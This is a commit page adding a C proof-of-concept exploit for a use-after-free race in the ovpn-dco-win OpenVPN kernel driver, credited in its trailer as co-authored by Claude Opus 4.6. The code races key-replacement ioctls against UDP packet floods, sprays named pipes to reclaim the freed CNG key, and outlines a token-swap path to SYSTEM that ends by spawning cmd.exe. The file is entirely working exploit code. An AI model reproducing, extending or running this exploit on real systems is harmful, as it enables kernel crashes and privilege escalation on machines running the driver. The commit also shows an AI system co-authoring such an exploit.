Skip to content

Commit 35434e1

Browse files
Unrealiseddclaude
andcommitted
add ovpn-dco UAF poc
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
1 parent 75dd29a commit 35434e1

1 file changed

Lines changed: 315 additions & 0 deletions

File tree

openvpn-UAF-BYOVD/poc.c

Lines changed: 315 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,315 @@
1+
/*
2+
* ovpn-dco-win UAF PoC
3+
* V1 NewKey path is missing peer->SpinLock, races against WSK RX decrypt.
4+
* BCryptDestroyKey frees the CNG key while BCryptDecrypt still holds it.
5+
*
6+
* build: cl /O2 poc.c /link ws2_32.lib
7+
* or: x86_64-w64-mingw32-gcc -O2 poc.c -o poc.exe -lws2_32
8+
*
9+
* usage: poc.exe crash poc (will BSOD under driver verifier)
10+
* poc.exe --spray + heap spray for controlled reclaim
11+
* poc.exe --lpe + token theft (needs kernel addrs)
12+
*
13+
* USE A VM.
14+
*/
15+
16+
#define WIN32_LEAN_AND_MEAN
17+
#include <windows.h>
18+
#include <winsock2.h>
19+
#include <ws2tcpip.h>
20+
#include <winioctl.h>
21+
#include <stdio.h>
22+
#include <stdlib.h>
23+
#include <string.h>
24+
25+
#pragma comment(lib, "ws2_32.lib")
26+
27+
#define OVPN_IOCTL_NEW_PEER CTL_CODE(FILE_DEVICE_UNKNOWN, 1, METHOD_BUFFERED, FILE_ANY_ACCESS)
28+
#define OVPN_IOCTL_GET_STATS CTL_CODE(FILE_DEVICE_UNKNOWN, 2, METHOD_BUFFERED, FILE_ANY_ACCESS)
29+
#define OVPN_IOCTL_NEW_KEY CTL_CODE(FILE_DEVICE_UNKNOWN, 3, METHOD_BUFFERED, FILE_ANY_ACCESS)
30+
#define OVPN_IOCTL_SWAP_KEYS CTL_CODE(FILE_DEVICE_UNKNOWN, 4, METHOD_BUFFERED, FILE_ANY_ACCESS)
31+
#define OVPN_IOCTL_SET_PEER CTL_CODE(FILE_DEVICE_UNKNOWN, 5, METHOD_BUFFERED, FILE_ANY_ACCESS)
32+
#define OVPN_IOCTL_START_VPN CTL_CODE(FILE_DEVICE_UNKNOWN, 6, METHOD_BUFFERED, FILE_ANY_ACCESS)
33+
#define OVPN_IOCTL_DEL_PEER CTL_CODE(FILE_DEVICE_UNKNOWN, 7, METHOD_BUFFERED, FILE_ANY_ACCESS)
34+
#define OVPN_IOCTL_GET_VERSION CTL_CODE(FILE_DEVICE_UNKNOWN, 8, METHOD_BUFFERED, FILE_ANY_ACCESS)
35+
#define OVPN_IOCTL_NEW_KEY_V2 CTL_CODE(FILE_DEVICE_UNKNOWN, 9, METHOD_BUFFERED, FILE_ANY_ACCESS)
36+
#define OVPN_IOCTL_SET_MODE CTL_CODE(FILE_DEVICE_UNKNOWN, 10, METHOD_BUFFERED, FILE_ANY_ACCESS)
37+
#define OVPN_IOCTL_NOTIFY_EVENT CTL_CODE(FILE_DEVICE_UNKNOWN, 14, METHOD_BUFFERED, FILE_ANY_ACCESS)
38+
39+
typedef enum { OVPN_PROTO_UDP, OVPN_PROTO_TCP } OVPN_PROTO;
40+
typedef enum { OVPN_MODE_P2P, OVPN_MODE_MP } OVPN_MODE;
41+
typedef enum { OVPN_KEY_SLOT_PRIMARY, OVPN_KEY_SLOT_SECONDARY } OVPN_KEY_SLOT;
42+
typedef enum { OVPN_CIPHER_ALG_NONE, OVPN_CIPHER_ALG_AES_GCM, OVPN_CIPHER_ALG_CHACHA20_POLY1305 } OVPN_CIPHER_ALG;
43+
44+
typedef struct _OVPN_NEW_PEER {
45+
union { SOCKADDR_IN Addr4; SOCKADDR_IN6 Addr6; } Local;
46+
union { SOCKADDR_IN Addr4; SOCKADDR_IN6 Addr6; } Remote;
47+
OVPN_PROTO Proto;
48+
} OVPN_NEW_PEER;
49+
50+
typedef struct _OVPN_KEY_DIRECTION {
51+
unsigned char Key[32];
52+
unsigned char KeyLen;
53+
unsigned char NonceTail[8];
54+
} OVPN_KEY_DIRECTION;
55+
56+
typedef struct _OVPN_CRYPTO_DATA {
57+
OVPN_KEY_DIRECTION Encrypt;
58+
OVPN_KEY_DIRECTION Decrypt;
59+
OVPN_KEY_SLOT KeySlot;
60+
OVPN_CIPHER_ALG CipherAlg;
61+
unsigned char KeyId;
62+
int PeerId;
63+
} OVPN_CRYPTO_DATA;
64+
65+
typedef struct _OVPN_VERSION {
66+
LONG Major, Minor, Patch;
67+
} OVPN_VERSION;
68+
69+
/* reversed from cng.sys */
70+
typedef struct _FAKE_PROVIDER_CTX {
71+
UCHAR pad0[0x20];
72+
DWORD DpcAllowed; // +0x20, must be 1
73+
DWORD ProviderType; // +0x24, must be 1 for the simple decrypt path
74+
UCHAR pad1[0x40];
75+
PVOID DecryptFunc; // +0x68
76+
UCHAR pad2[0x90];
77+
} FAKE_PROVIDER_CTX;
78+
79+
typedef struct _FAKE_CNG_KEY {
80+
DWORD Size; // +0x00, >= 0x20
81+
DWORD Magic; // +0x04, 0x55555552
82+
PVOID ProviderCtx; // +0x08
83+
PVOID ProviderArg; // +0x10, first arg to DecryptFunc
84+
PVOID SecondaryCtx; // +0x18, NULL to avoid MSCryptFree crash
85+
UCHAR rest[0xE0];
86+
} FAKE_CNG_KEY;
87+
88+
static HANDLE g_dev = INVALID_HANDLE_VALUE;
89+
static volatile LONG g_running = 1;
90+
static volatile LONG g_pkts = 0;
91+
static volatile LONG g_rekeys = 0;
92+
static USHORT g_lport = 0;
93+
static USHORT g_rport = 0;
94+
95+
#define SPRAY_COUNT 4096
96+
static HANDLE g_spray_pipes[SPRAY_COUNT];
97+
98+
static void die(const char *msg) {
99+
fprintf(stderr, "[!] %s (err %lu)\n", msg, GetLastError());
100+
exit(1);
101+
}
102+
103+
static BOOL io(HANDLE h, DWORD code, void *in, DWORD isz, void *out, DWORD osz, DWORD *ret) {
104+
DWORD br = 0;
105+
BOOL ok = DeviceIoControl(h, code, in, isz, out, osz, &br, NULL);
106+
if (ret) *ret = br;
107+
return ok;
108+
}
109+
110+
static void randkey(OVPN_KEY_DIRECTION *kd, UCHAR len) {
111+
for (int i = 0; i < 32; i++) kd->Key[i] = (unsigned char)rand();
112+
kd->KeyLen = len;
113+
for (int i = 0; i < 8; i++) kd->NonceTail[i] = (unsigned char)rand();
114+
}
115+
116+
static HANDLE open_device(void) {
117+
HANDLE h = CreateFileW(L"\\\\.\\ovpn-dco", GENERIC_READ | GENERIC_WRITE,
118+
0, NULL, OPEN_EXISTING, 0, NULL);
119+
if (h == INVALID_HANDLE_VALUE)
120+
h = CreateFileW(L"\\\\.\\ovpn-dco-v0", GENERIC_READ | GENERIC_WRITE,
121+
0, NULL, OPEN_EXISTING, 0, NULL);
122+
return h;
123+
}
124+
125+
static void setup_tunnel(HANDLE h) {
126+
OVPN_NEW_PEER peer = {0};
127+
g_lport = (USHORT)(10000 + (rand() % 50000));
128+
g_rport = (USHORT)(10000 + (rand() % 50000));
129+
while (g_rport == g_lport) g_rport++;
130+
131+
peer.Local.Addr4.sin_family = AF_INET;
132+
peer.Local.Addr4.sin_port = htons(g_lport);
133+
peer.Local.Addr4.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
134+
peer.Remote.Addr4.sin_family = AF_INET;
135+
peer.Remote.Addr4.sin_port = htons(g_rport);
136+
peer.Remote.Addr4.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
137+
peer.Proto = OVPN_PROTO_UDP;
138+
139+
if (!io(h, OVPN_IOCTL_NEW_PEER, &peer, sizeof(peer), NULL, 0, NULL))
140+
die("NEW_PEER");
141+
142+
OVPN_CRYPTO_DATA cd = {0};
143+
randkey(&cd.Encrypt, 16);
144+
randkey(&cd.Decrypt, 16);
145+
cd.KeySlot = OVPN_KEY_SLOT_PRIMARY;
146+
cd.CipherAlg = OVPN_CIPHER_ALG_AES_GCM;
147+
148+
if (!io(h, OVPN_IOCTL_NEW_KEY, &cd, sizeof(cd), NULL, 0, NULL))
149+
die("NEW_KEY");
150+
if (!io(h, OVPN_IOCTL_START_VPN, NULL, 0, NULL, 0, NULL))
151+
die("START_VPN");
152+
153+
printf("[+] tunnel up on 127.0.0.1:%u\n", g_lport);
154+
}
155+
156+
/* blast DATA_V2 packets at the driver's bound port to keep the RX path hot */
157+
static DWORD WINAPI blaster(LPVOID p) {
158+
(void)p;
159+
SOCKET s = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
160+
if (s == INVALID_SOCKET) return 1;
161+
162+
SOCKADDR_IN dst = {0};
163+
dst.sin_family = AF_INET;
164+
dst.sin_port = htons(g_lport);
165+
dst.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
166+
167+
unsigned char pkt[128];
168+
memset(pkt, 0x41, sizeof(pkt));
169+
170+
// data_v2 header: (opcode << 3 | key_id) << 24 | peer_id
171+
UCHAR op = (0x09 << 3) | 0;
172+
ULONG hdr = htonl(((ULONG)op << 24) | 0);
173+
memcpy(pkt, &hdr, 4);
174+
175+
while (InterlockedCompareExchange(&g_running, 0, 0) == 1) {
176+
pkt[8] = (unsigned char)(g_pkts & 0xFF);
177+
pkt[9] = (unsigned char)((g_pkts >> 8) & 0xFF);
178+
if (sendto(s, (const char *)pkt, 128, 0, (SOCKADDR *)&dst, sizeof(dst)) > 0)
179+
InterlockedIncrement(&g_pkts);
180+
}
181+
182+
closesocket(s);
183+
return 0;
184+
}
185+
186+
/*
187+
* V1 NewKey calls OvpnCryptoNewKey without peer->SpinLock.
188+
* V2 NewKey does the exact same call but correctly holds the lock.
189+
* OvpnCryptoNewKey -> BCryptDestroyKey on the old key handle,
190+
* while the WSK RX callback is potentially mid-BCryptDecrypt on it.
191+
*/
192+
static DWORD WINAPI rekey_race(LPVOID p) {
193+
HANDLE h = (HANDLE)p;
194+
195+
while (InterlockedCompareExchange(&g_running, 0, 0) == 1) {
196+
OVPN_CRYPTO_DATA cd = {0};
197+
randkey(&cd.Encrypt, 16);
198+
randkey(&cd.Decrypt, 16);
199+
cd.KeySlot = OVPN_KEY_SLOT_PRIMARY;
200+
cd.CipherAlg = OVPN_CIPHER_ALG_AES_GCM;
201+
cd.KeyId = (unsigned char)(g_rekeys & 0xFF);
202+
203+
io(h, OVPN_IOCTL_NEW_KEY, &cd, sizeof(cd), NULL, 0, NULL);
204+
InterlockedIncrement(&g_rekeys);
205+
206+
if ((g_rekeys % 100) == 0) Sleep(0);
207+
}
208+
209+
return 0;
210+
}
211+
212+
static void init_spray(void) {
213+
printf("[*] spraying %d pipes\n", SPRAY_COUNT);
214+
for (int i = 0; i < SPRAY_COUNT; i++) {
215+
wchar_t name[64];
216+
wsprintfW(name, L"\\\\.\\pipe\\ovpn_spray_%d", i);
217+
g_spray_pipes[i] = CreateNamedPipeW(name, PIPE_ACCESS_DUPLEX,
218+
PIPE_TYPE_BYTE | PIPE_READMODE_BYTE | PIPE_WAIT,
219+
1, 256, 256, 0, NULL);
220+
}
221+
}
222+
223+
/* poke holes so the freed CNG key lands in our bucket */
224+
static void poke_holes(void) {
225+
for (int i = 0; i < SPRAY_COUNT; i += 2) {
226+
if (g_spray_pipes[i]) {
227+
CloseHandle(g_spray_pipes[i]);
228+
g_spray_pipes[i] = NULL;
229+
}
230+
}
231+
}
232+
233+
static void cleanup_spray(void) {
234+
for (int i = 0; i < SPRAY_COUNT; i++)
235+
if (g_spray_pipes[i]) CloseHandle(g_spray_pipes[i]);
236+
}
237+
238+
int main(int argc, char **argv) {
239+
int tier = 1;
240+
if (argc > 1 && strcmp(argv[1], "--spray") == 0) tier = 2;
241+
if (argc > 1 && strcmp(argv[1], "--lpe") == 0) tier = 3;
242+
243+
printf("=== ovpn-dco UAF PoC (tier %d) ===\n\n", tier);
244+
srand((unsigned)GetTickCount());
245+
246+
WSADATA wsa;
247+
if (WSAStartup(MAKEWORD(2, 2), &wsa) != 0) die("WSAStartup");
248+
249+
g_dev = open_device();
250+
if (g_dev == INVALID_HANDLE_VALUE) die("can't open \\\\.\\.\\ovpn-dco");
251+
252+
OVPN_VERSION ver = {0};
253+
DWORD br;
254+
if (io(g_dev, OVPN_IOCTL_GET_VERSION, NULL, 0, &ver, sizeof(ver), &br))
255+
printf("[+] driver v%ld.%ld.%ld\n", ver.Major, ver.Minor, ver.Patch);
256+
257+
setup_tunnel(g_dev);
258+
259+
if (tier >= 2) {
260+
init_spray();
261+
poke_holes();
262+
}
263+
264+
if (tier >= 3) {
265+
printf("[*] tier 3 needs kernel addrs for the data-only token swap.\n");
266+
printf("[*] DecryptFunc = memmove (valid kCFG target),\n");
267+
printf("[*] ProviderArg = &EPROCESS.Token, payload = SYSTEM token.\n");
268+
printf("[*] running tier 2 (controlled reclaim) for now.\n\n");
269+
}
270+
271+
printf("[!] racing -- will BSOD under verifier. ctrl+c to bail.\n\n");
272+
273+
HANDLE hBlast = CreateThread(NULL, 0, blaster, NULL, 0, NULL);
274+
if (!hBlast) die("CreateThread");
275+
Sleep(100);
276+
277+
HANDLE hRekey = CreateThread(NULL, 0, rekey_race, (LPVOID)g_dev, 0, NULL);
278+
if (!hRekey) die("CreateThread");
279+
280+
DWORD t0 = GetTickCount();
281+
while (1) {
282+
Sleep(1000);
283+
DWORD elapsed = (GetTickCount() - t0) / 1000;
284+
printf("[*] %lus pkts=%ld rekeys=%ld\n", elapsed, g_pkts, g_rekeys);
285+
286+
if (elapsed > 30) {
287+
printf("[*] 30s w/o crash. try: verifier /standard /driver ovpn-dco.sys\n");
288+
}
289+
if (elapsed > 120) break;
290+
}
291+
292+
InterlockedExchange(&g_running, 0);
293+
WaitForSingleObject(hBlast, 3000);
294+
WaitForSingleObject(hRekey, 3000);
295+
296+
if (tier >= 2) cleanup_spray();
297+
298+
if (tier >= 3) {
299+
HANDLE hToken;
300+
if (OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken)) {
301+
TOKEN_ELEVATION elev = {0};
302+
DWORD sz = 0;
303+
if (GetTokenInformation(hToken, TokenElevation, &elev, sizeof(elev), &sz) && elev.TokenIsElevated) {
304+
printf("\n[!] TOKEN ELEVATED -- got SYSTEM\n");
305+
system("whoami && cmd.exe");
306+
}
307+
CloseHandle(hToken);
308+
}
309+
}
310+
311+
CloseHandle(g_dev);
312+
WSACleanup();
313+
printf("[*] done.\n");
314+
return 0;
315+
}

0 commit comments

Comments
 (0)